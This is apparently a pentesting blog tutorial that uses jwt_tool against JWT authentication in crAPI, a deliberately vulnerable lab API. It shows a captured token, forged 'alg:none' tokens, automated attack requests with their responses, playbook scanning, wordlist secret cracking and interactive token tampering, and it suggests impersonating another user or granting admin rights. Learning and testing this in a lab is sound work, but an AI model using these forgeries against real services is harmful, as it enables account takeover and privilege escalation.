In this post, I’ll show you how to use jwt_tool to analyze and exploit JWT vulnerabilities in crAPI, an intentionally vulnerable API.
We’re going to take a practical approach to learning how to use this tool. So, by the end of this, you’ll be able to use this tool in the real world.
Let’s dive in!
Brief Introduction to JWTs
If you’re already familiar with JWTs, feel free to skip this section.
A JWT (JSON Web Token) is a token format used for authentication and authorization. It consists of three parts:
- Header – Contains metadata about the token, including the algorithm used for signing.
- Payload – Contains claims (e.g., user ID, role, expiration time).
- Signature – Ensures token integrity and authenticity.
JWTs can be signed with symmetric or asymmetric encryption. Poor implementation can lead to security vulnerabilities, which we’ll explore using jwt_tool.
Intercepting a JWT
To begin, we need to capture the JWT from crAPI. I created a test account and logged in to get a valid one. Then, you can use browser dev tools or an intercepting proxy to see requests using JWTs. In my case, I used the network tab in Firefox’s dev tools:
In this case, the JWT is stored in Authorization header after the Bearer keyword.
The JWT won’t always be in the headers. It can also be stored in the body or in cookies. Usually, the leading ey and . ‘s separating the sections is a giveaway that a JWT is in use.
Passing the token to jwt_tool will tell us if this is a JWT for sure:
$ jwt_tool eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.O7iaSrVUkDfGI3GrXmcPj561X5ktpwNuUrIrVtsdxOP42oD-FUK5WrYKTBIKw90spR593nMu93E9LsbhJ0sDftx3X2ahlLdt6OQELxRsx2lXbg4fTk0WSUnB8jWon4Fo1LKO5NjD8kt8hzxRfvG33J_RkOq1uQmtsjanuDdSFTFg8X-BcBdHNmRPeE7vEqtYTotp_vma68ZnW4coq2AwaHIjJnDiI_fC2lm-6dsFniX99n15ar0T9md4VfIHoIiT7YfH6BddhNNg8Y58TQHEGH6jxR-EA0NF2xDsrUKM4Sowa7T3jR6-rj4j961h-k5boeTZUeNiNiFEf-AV6qimUw
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
Token payload values:
[+] sub = "sambam@test.com"
[+] iat = 1738376057 ==> TIMESTAMP = 2025-01-31 18:14:17 (UTC)
[+] exp = 1738980857 ==> TIMESTAMP = 2025-02-07 18:14:17 (UTC)
[+] role = "user"
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
Key Takeaways
The alg field is RS256, an asymmetric algorithm.
The payload contains:
- User email (
sub) - Role (
role) - Expiration (
exp) and issued-at (iat) timestamps.
The token expires in exactly one week, making it more vulnerable if stolen.
Now that we know the structure of the JWT, we can move on to attempting to exploit it.
Attacking JWTs with jwt_tool
jwt_tool supports several known vulnerabilities:
-X EXPLOIT, --exploit EXPLOIT
a = alg:none
n = null signature
b = blank password accepted in signature
s = spoof JWKS
k = key confusion
i = inject inline JWKS
Implementing common attacks
Implementing the tack is as easy as specifying the type after -X and passing the token:
$ jwt_tool -X a eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.O7iaSrVUkDfGI3GrXmcPj561X5ktpwNuUrIrVtsdxOP42oD-FUK5WrYKTBIKw90spR593nMu93E9LsbhJ0sDftx3X2ahlLdt6OQELxRsx2lXbg4fTk0WSUnB8jWon4Fo1LKO5NjD8kt8hzxRfvG33J_RkOq1uQmtsjanuDdSFTFg8X-BcBdHNmRPeE7vEqtYTotp_vma68ZnW4coq2AwaHIjJnDiI_fC2lm-6dsFniX99n15ar0T9md4VfIHoIiT7YfH6BddhNNg8Y58TQHEGH6jxR-EA0NF2xDsrUKM4Sowa7T3jR6-rj4j961h-k5boeTZUeNiNiFEf-AV6qimUw
Original JWT:
jwttool_8a4cbc131e033f290781421c336d8fd6 - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIn0.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.
jwttool_2813749d10e5d6c29323a6692ca1f54d - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIn0.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.
jwttool_5c1c85acbe085c8ae4d19f8ab95a80a8 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIn0.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.
jwttool_a1d09fe0d0447b23f0c178179d023c9a - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIn0.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ
As you can see, jwt_tool modifies the algorithm with various forms of none.
If the server processes this token, then we don’t need to supply a valid signature. If the token doesn’t need to be signed, then we can modify it it however we want, leading to some interesting exploits.
For example, I could change the payload’s sub value to another user’s email, or I can change my accounts role to admin.
Now, hopefully, you see why JWT security is so important…
Automating attacks
Manually validating JWT attacks can be tedious. You’d have to copy-paste each modified JWT and repeat requests over and over…
But with the -t option, you can tell jwt_tool to make the requests on your behalf:
jwt_tool -t 'http://vulnapi:8888/identity/api/v2/user/dashboard' -rh 'Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.O7iaSrVUkDfGI3GrXmcPj561X5ktpwNuUrIrVtsdxOP42oD-FUK5WrYKTBIKw90spR593nMu93E9LsbhJ0sDftx3X2ahlLdt6OQELxRsx2lXbg4fTk0WSUnB8jWon4Fo1LKO5NjD8kt8hzxRfvG33J_RkOq1uQmtsjanuDdSFTFg8X-BcBdHNmRPeE7vEqtYTotp_vma68ZnW4coq2AwaHIjJnDiI_fC2lm-6dsFniX99n15ar0T9md4VfIHoIiT7YfH6BddhNNg8Y58TQHEGH6jxR-EA0NF2xDsrUKM4Sowa7T3jR6-rj4j961h-k5boeTZUeNiNiFEf-AV6qimUw' -X a -np
...
jwttool_5811c6f0d08e43fa738d7e2061063ed8 Exploit: "alg":"none" Response Code: 200, 184 bytes
jwttool_ade262ee8d95d64477d4bf7f8ebbb556 Exploit: "alg":"None" Response Code: 404, 58 bytes
jwttool_d08330cedd977600a7cb817c4a273f01 Exploit: "alg":"NONE" Response Code: 404, 58 bytes
jwttool_61a4d6650b88610d593f5440e032cead Exploit: "alg":"nOnE" Response Code: 404, 58 bytes
If the response code is 200, the attack likely worked. But, it’s best to check by making a request with another tool like curl or Burpsuite.
Even more automation!
Here’s where things get really interesting!
Instead of testing exploits one by one, you can use the pb (playbook) mode to run multiple tests:
$ jwt_tool -t 'http://vulnapi:8888/identity/api/v2/user/dashboard' -rh 'Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJzYW1iYW1AdGVzdC5jb20iLCJpYXQiOjE3MzgzNzYwNTcsImV4cCI6MTczODk4MDg1Nywicm9sZSI6InVzZXIifQ.O7iaSrVUkDfGI3GrXmcPj561X5ktpwNuUrIrVtsdxOP42oD-FUK5WrYKTBIKw90spR593nMu93E9LsbhJ0sDftx3X2ahlLdt6OQELxRsx2lXbg4fTk0WSUnB8jWon4Fo1LKO5NjD8kt8hzxRfvG33J_RkOq1uQmtsjanuDdSFTFg8X-BcBdHNmRPeE7vEqtYTotp_vma68ZnW4coq2AwaHIjJnDiI_fC2lm-6dsFniX99n15ar0T9md4VfIHoIiT7YfH6BddhNNg8Y58TQHEGH6jxR-EA0NF2xDsrUKM4Sowa7T3jR6-rj4j961h-k5boeTZUeNiNiFEf-AV6qimUw' -M pb
jwt_tool will then send a request to test each common exploit. It then goes even further to attempt to crack the JWT with a default wordlist. How cool is that!?
It may be best to save the output to a file as a ton of information is returned. As with the -t parameter, successful responses can indicate potential vulnerabilities.
Cracking JWT Secrets
As I mentioned earlier during the pb scan, jwt_tool can crack JWT secrets.
From earlier analysis, we know that the JWT is asymmetrically encrypted, meaning it is encrypted with a public/private key pair and not a secret phrase. So, we can’t just crack crAPI’s secret.
But, it’s worth noting that jwt_toolhow anyways. You can specify crack mode with -C and a wordlist with -h:
$ jwt_tool -C -d <wordlist> <JWT>This is relatively quick as it is an offline attack.
But, I would save this for after you’ve exhausted common exploits.
Tampering JWTs
If all else fails, jwt_tool allows interactive token modification:
$ jwt_tool -T
Token header values:
[1] alg = "RS256"
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
>This lets you manually modify header and payload values, useful for creative exploit attempts.
Conclusion
We explored JWT vulnerabilities in crAPI using jwt_tool, covering:
- JWT structure and interception
- Exploiting common vulnerabilities
- Automating attacks and scanning
- Cracking and tampering JWTs
Understanding JWT security is essential for finding and mitigating vulnerabilities. So, I highly recommend you learn about JWTs in depth.
Hope this post helps you on your web pentesting journey!
Happy hunting!
